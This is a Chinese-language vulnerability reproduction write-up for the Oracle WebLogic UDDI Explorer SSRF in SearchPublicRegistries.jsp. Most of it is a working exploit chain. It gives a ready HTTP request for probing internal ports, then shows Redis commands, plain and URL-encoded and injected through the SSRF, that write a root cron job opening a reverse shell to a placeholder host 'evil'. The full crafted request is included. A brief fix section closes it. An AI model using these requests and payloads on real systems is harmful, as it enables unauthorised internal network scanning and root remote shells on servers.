0x00 漏洞地址
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
0x01 影响范围
weblogic 10.0.2 – 10.3.6版本及其他版本
0x02 漏洞复现
payload:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
1.访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。
2.使用burp抓包,然后将上面payload覆盖到原本的数据包中。
3.如果目的ip地址开放了该端口,则会返回404状态码;如果访问的非http协议,则会返回did not have a valid SOAP content-type。
4.如果目的ip地址未开放该端口,则会返回 could not connect over HTTP to server。
5.如此一来,便可通过修改地址和端口探测内网。
0x03 漏洞利用 (注入HTTP头,利用Redis反弹shell)
需要配合其他端口漏洞
例:redis的未授权访问漏洞
(1)发送三条redis命令,将弹shell脚本写入/etc/crontab ,命令如下
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
(2)进行url编码:(换行符是“\r\n”,也就是“%0D%0A”)
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
(3)将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
(4)只要做到相应监听,就可以拿到shell。
0x04 修复建议
1.删除server/lib/uddiexplorer.war下的相应jsp文件。
#> jar -xvf uddiexplorer.war
#> rm jsp-files
#> jar -cvfM uddiexplorer.war uddiexplorer/
2.配置访问权限,取消对外开放。